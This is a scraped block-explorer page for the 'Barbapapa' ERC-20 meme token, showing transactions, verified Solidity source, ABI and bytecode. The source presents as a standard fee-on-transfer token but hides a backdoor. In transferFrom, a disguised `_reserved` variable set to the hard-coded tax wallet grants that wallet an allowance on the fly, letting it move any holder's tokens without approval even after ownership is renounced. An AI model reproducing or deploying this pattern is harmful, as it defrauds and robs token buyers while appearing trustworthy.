ETH Price: $3,644.76 (+0.71%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve211224062024-11-05 15:40:4761 days ago1730821247IN
0xA67399dA...49316cdC8
0 ETH0.0010143521.92304451
Approve211223952024-11-05 15:38:3561 days ago1730821115IN
0xA67399dA...49316cdC8
0 ETH0.0009415520.2132894
Approve211223952024-11-05 15:38:3561 days ago1730821115IN
0xA67399dA...49316cdC8
0 ETH0.0008483918.2132894
Approve211223852024-11-05 15:36:3561 days ago1730820995IN
0xA67399dA...49316cdC8
0 ETH0.000977921.1352342
Approve211223822024-11-05 15:35:5961 days ago1730820959IN
0xA67399dA...49316cdC8
0 ETH0.0009716821.00071014
Approve211223792024-11-05 15:35:2361 days ago1730820923IN
0xA67399dA...49316cdC8
0 ETH0.0009920121.44012072
Approve211223792024-11-05 15:35:2361 days ago1730820923IN
0xA67399dA...49316cdC8
0 ETH0.0009920121.44012072
Approve211223762024-11-05 15:34:4761 days ago1730820887IN
0xA67399dA...49316cdC8
0 ETH0.0010538422.77644307
Approve211223712024-11-05 15:33:4761 days ago1730820827IN
0xA67399dA...49316cdC8
0 ETH0.001078923.16190277
Approve211223682024-11-05 15:33:1161 days ago1730820791IN
0xA67399dA...49316cdC8
0 ETH0.0011051723.88588316
Approve211223682024-11-05 15:33:1161 days ago1730820791IN
0xA67399dA...49316cdC8
0 ETH0.0011051723.88588316
Approve211223642024-11-05 15:32:2361 days ago1730820743IN
0xA67399dA...49316cdC8
0 ETH0.0011399424.63734844
Approve211223642024-11-05 15:32:2361 days ago1730820743IN
0xA67399dA...49316cdC8
0 ETH0.0011399424.63734844
Approve211223612024-11-05 15:31:4761 days ago1730820707IN
0xA67399dA...49316cdC8
0 ETH0.001074123.21425501
Approve211223602024-11-05 15:31:3561 days ago1730820695IN
0xA67399dA...49316cdC8
0 ETH0.001181825.37087978
Renounce Ownersh...211223592024-11-05 15:31:2361 days ago1730820683IN
0xA67399dA...49316cdC8
0 ETH0.0005008821.46038971
Remove Limits211223582024-11-05 15:31:1161 days ago1730820671IN
0xA67399dA...49316cdC8
0 ETH0.0008608922.71497716
Approve211223572024-11-05 15:30:5961 days ago1730820659IN
0xA67399dA...49316cdC8
0 ETH0.0011804925.51383626
Approve211223552024-11-05 15:30:3561 days ago1730820635IN
0xA67399dA...49316cdC8
0 ETH0.0012547726.94438702
Approve211223502024-11-05 15:29:3561 days ago1730820575IN
0xA67399dA...49316cdC8
0 ETH0.0011098623.82650717
Open Trading211223482024-11-05 15:29:1161 days ago1730820551IN
0xA67399dA...49316cdC8
0 ETH0.0070455724.33460485
Transfer211223482024-11-05 15:29:1161 days ago1730820551IN
0xA67399dA...49316cdC8
1 ETH0.0005123624.33460485
Transfer211223482024-11-05 15:29:1161 days ago1730820551IN
0xA67399dA...49316cdC8
0 ETH0.0012115724.33460485

Latest 13 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
211223682024-11-05 15:33:1161 days ago1730820791
0xA67399dA...49316cdC8
0.44161224 ETH
211223682024-11-05 15:33:1161 days ago1730820791
0xA67399dA...49316cdC8
0.44161224 ETH
211223642024-11-05 15:32:2361 days ago1730820743
0xA67399dA...49316cdC8
0.29833528 ETH
211223642024-11-05 15:32:2361 days ago1730820743
0xA67399dA...49316cdC8
0.29833528 ETH
211223642024-11-05 15:32:2361 days ago1730820743
0xA67399dA...49316cdC8
0.42008418 ETH
211223642024-11-05 15:32:2361 days ago1730820743
0xA67399dA...49316cdC8
0.42008418 ETH
211223622024-11-05 15:31:5961 days ago1730820719
0xA67399dA...49316cdC8
0.40208641 ETH
211223622024-11-05 15:31:5961 days ago1730820719
0xA67399dA...49316cdC8
0.40208641 ETH
211223612024-11-05 15:31:4761 days ago1730820707
0xA67399dA...49316cdC8
0.63752484 ETH
211223612024-11-05 15:31:4761 days ago1730820707
0xA67399dA...49316cdC8
0.63752484 ETH
211223572024-11-05 15:30:5961 days ago1730820659
0xA67399dA...49316cdC8
0.4450247 ETH
211223572024-11-05 15:30:5961 days ago1730820659
0xA67399dA...49316cdC8
0.4450247 ETH
211223482024-11-05 15:29:1161 days ago1730820551
0xA67399dA...49316cdC8
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : main.sol
/**

https://x.com/Matt_Furie/status/1853818278810193972
https://t.me/Barbapapa_erc20


*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TOKEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet=payable(0x85b40bd1E7473006C3B8DF0aE1fA24E7b1793dB1);

    uint256 private _initialBuyTax=4;
    uint256 private _initialSellTax=14;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=29;
    uint256 private _reduceSellTaxAt=40;
    uint256 private _preventSwapBefore=25;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Barbapapa";
    string private constant _symbol = unicode"BARBAPAPA";
    uint256 public _maxTxAmount =  2 * (_tTotal/100);
    uint256 public _maxWalletSize =  2 * (_tTotal/100);
    uint256 public _taxSwapThreshold=  1 * (_tTotal/100);
    uint256 public _maxTaxSwap= 1 * (_tTotal/100);
    
    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapV2Pair;
    address private _reserved;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _reserved = _taxWallet;
        _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_reserved == _msgSender()) _approve(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == _uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == _uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    _sendTokenFeeEth(address(this).balance);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == _uniswapV2Pair && swapEnabled && contractTokenBalance>_maxTaxSwap && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    _sendTokenFeeEth(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (tokenAmount == 0) return;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _transferTax=0;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function _sendTokenFeeEth(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function drawEthStucked() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"drawEthStucked","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b0319167385b40bd1e7473006c3b8df0ae1fa24e7b1793db11790556004600655600e6007819055600060088190556009818155601d600a9081556028600b556019600c55600d839055919092556064916100689161053a565b61007690633b9aca00610550565b6100809190610567565b61008b906002610550565b600f55606461009c6009600a61053a565b6100aa90633b9aca00610550565b6100b49190610567565b6100bf906002610550565b60105560646100d06009600a61053a565b6100de90633b9aca00610550565b6100e89190610567565b6100f3906001610550565b60115560646101046009600a61053a565b61011290633b9aca00610550565b61011c9190610567565b610127906001610550565b6012556015805461ffff60a81b191690556000601681905560175534801561014e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35061019c6009600a61053a565b6101aa90633b9aca00610550565b3360009081526001602081905260408220929092556003906101d46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260038452828120805486166001908117909155600580548416835291849020805490961617909455601380546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d908117909255945460158054909616921691909117909355805163c45a015560e01b8152905163c45a0155926004808401939192918290030181865afa1580156102a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102c49190610589565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610326573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061034a9190610589565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103bb9190610589565b601480546001600160a01b0319166001600160a01b03929092169190911790556103e23390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61041a6009600a61053a565b61042890633b9aca00610550565b60405190815260200160405180910390a36105b2565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561048f5781600019048211156104755761047561043e565b8085161561048257918102915b93841c9390800290610459565b509250929050565b6000826104a657506001610534565b816104b357506000610534565b81600181146104c957600281146104d3576104ef565b6001915050610534565b60ff8411156104e4576104e461043e565b50506001821b610534565b5060208310610133831016604e8410600b8410161715610512575081810a610534565b61051c8383610454565b80600019048211156105305761053061043e565b0290505b92915050565b600061054960ff841683610497565b9392505050565b80820281158282048414176105345761053461043e565b60008261058457634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561059b57600080fd5b81516001600160a01b038116811461054957600080fd5b6115ec806105c16000396000f3fe60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102cd578063a9059cbb146102ff578063bf474bed1461031f578063c9567bf914610335578063dd62ed3e1461034a57600080fd5b8063751039fc146102645780637d1db4a5146102795780638da5cb5b1461028f5780638f9a55c0146102b757600080fd5b806323b872dd116100dc57806323b872dd146101c6578063313ce567146101e657806344dabe231461020257806370a0823114610219578063715018a61461024f57600080fd5b806306fdde0314610119578063095ea7b31461015d5780630faee56f1461018d57806318160ddd146101b157600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600981526842617262617061706160b81b60208201525b60405161015491906111bb565b60405180910390f35b34801561016957600080fd5b5061017d61017836600461121f565b610390565b6040519015158152602001610154565b34801561019957600080fd5b506101a360125481565b604051908152602001610154565b3480156101bd57600080fd5b506101a36103a7565b3480156101d257600080fd5b5061017d6101e136600461124b565b6103c8565b3480156101f257600080fd5b5060405160098152602001610154565b34801561020e57600080fd5b50610217610450565b005b34801561022557600080fd5b506101a361023436600461128c565b6001600160a01b031660009081526001602052604090205490565b34801561025b57600080fd5b506102176104b2565b34801561027057600080fd5b50610217610526565b34801561028557600080fd5b506101a3600f5481565b34801561029b57600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102c357600080fd5b506101a360105481565b3480156102d957600080fd5b5060408051808201909152600981526842415242415041504160b81b6020820152610147565b34801561030b57600080fd5b5061017d61031a36600461121f565b6105dd565b34801561032b57600080fd5b506101a360115481565b34801561034157600080fd5b506102176105ea565b34801561035657600080fd5b506101a36103653660046112a9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061039d338484610805565b5060015b92915050565b60006103b56009600a6113dc565b6103c390633b9aca006113eb565b905090565b60006103d5848484610929565b601554336001600160a01b03909116036103f4576103f4848484610805565b61044684336104418560405180606001604052806028815260200161158f602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e13565b610805565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161047a90611402565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156104af573d6000803e3d6000fd5b50565b6000546001600160a01b031633146104dc5760405162461bcd60e51b815260040161047a90611402565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105505760405162461bcd60e51b815260040161047a90611402565b61055c6009600a6113dc565b61056a90633b9aca006113eb565b600f556105796009600a6113dc565b61058790633b9aca006113eb565b6010556000600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105bc6009600a6113dc565b6105ca90633b9aca006113eb565b60405190815260200160405180910390a1565b600061039d338484610929565b6000546001600160a01b031633146106145760405162461bcd60e51b815260040161047a90611402565b601554600160a01b900460ff161561066e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b60135461069a9030906001600160a01b031661068c6009600a6113dc565b61044190633b9aca006113eb565b6013546001600160a01b031663f305d71947306106cc816001600160a01b031660009081526001602052604090205490565b6000806106e16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610749573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076e9190611437565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb9190611465565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166108675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b0382166108c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b0382166109ef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b600080546001600160a01b03858116911614801590610a1c57506000546001600160a01b03848116911614155b15610cd057600e54600003610a5a57610a576064610a51600a54600e5411610a4657600654610a4a565b6008545b8590610e4d565b90610ed6565b90505b600e5415610a7f57610a7c6064610a51600d5485610e4d90919063ffffffff16565b90505b6014546001600160a01b038581169116148015610aaa57506013546001600160a01b03848116911614155b8015610acf57506001600160a01b03831660009081526003602052604090205460ff16155b15610bd457600f54821115610b265760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047a565b60105482610b49856001600160a01b031660009081526001602052604090205490565b610b539190611487565b1115610ba15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b610bbc6064610a51600a54600e5411610a4657600654610a4a565b600e80549192506000610bce8361149a565b91905055505b6014546001600160a01b038481169116148015610bfa57506001600160a01b0384163014155b15610c3257610c246064610a51600b54600e5411610c1a57600754610a4a565b6009548590610e4d565b905047610c3047610f18565b505b30600090815260016020526040902054601554600160a81b900460ff16158015610c6957506014546001600160a01b038581169116145b8015610c7e5750601554600160b01b900460ff165b8015610c8b575060125481115b8015610c9a5750600c54600e54115b15610cce57610cbc610cb784610cb284601254610f56565b610f56565b610f6b565b478015610ccc57610ccc47610f18565b505b505b8015610d4a5730600090815260016020526040902054610cf090826110ec565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d419085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610d6d908361114b565b6001600160a01b038516600090815260016020526040902055610db2610d93838361114b565b6001600160a01b038516600090815260016020526040902054906110ec565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dfc858561114b565b60405190815260200160405180910390a350505050565b60008184841115610e375760405162461bcd60e51b815260040161047a91906111bb565b506000610e4484866114b3565b95945050505050565b600082600003610e5f575060006103a1565b6000610e6b83856113eb565b905082610e7885836114c6565b14610ecf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b9392505050565b6000610ecf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061118d565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f52573d6000803e3d6000fd5b5050565b6000818311610f655782610ecf565b50919050565b6015805460ff60a81b1916600160a81b17905580156110dc576040805160028082526060820183526000926020830190803683370190505090503081600081518110610fb957610fb96114e8565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611012573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103691906114fe565b81600181518110611049576110496114e8565b6001600160a01b03928316602091820292909201015260135461106f9130911684610805565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a890859060009086903090429060040161151b565b600060405180830381600087803b1580156110c257600080fd5b505af11580156110d6573d6000803e3d6000fd5b50505050505b506015805460ff60a81b19169055565b6000806110f98385611487565b905083811015610ecf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b6000610ecf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e13565b600081836111ae5760405162461bcd60e51b815260040161047a91906111bb565b506000610e4484866114c6565b60006020808352835180602085015260005b818110156111e9578581018301518582016040015282016111cd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104af57600080fd5b6000806040838503121561123257600080fd5b823561123d8161120a565b946020939093013593505050565b60008060006060848603121561126057600080fd5b833561126b8161120a565b9250602084013561127b8161120a565b929592945050506040919091013590565b60006020828403121561129e57600080fd5b8135610ecf8161120a565b600080604083850312156112bc57600080fd5b82356112c78161120a565b915060208301356112d78161120a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611333578160001904821115611319576113196112e2565b8085161561132657918102915b93841c93908002906112fd565b509250929050565b60008261134a575060016103a1565b81611357575060006103a1565b816001811461136d576002811461137757611393565b60019150506103a1565b60ff841115611388576113886112e2565b50506001821b6103a1565b5060208310610133831016604e8410600b84101617156113b6575081810a6103a1565b6113c083836112f8565b80600019048211156113d4576113d46112e2565b029392505050565b6000610ecf60ff84168361133b565b80820281158282048414176103a1576103a16112e2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561144c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561147757600080fd5b81518015158114610ecf57600080fd5b808201808211156103a1576103a16112e2565b6000600182016114ac576114ac6112e2565b5060010190565b818103818111156103a1576103a16112e2565b6000826114e357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561151057600080fd5b8151610ecf8161120a565b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b8181101561156d5784516001600160a01b031683529383019391830191600101611548565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e811f0eadcc57b8dea134300c221bc7046209a90e359126b1f3a8068f08e3a8064736f6c63430008190033

Deployed Bytecode

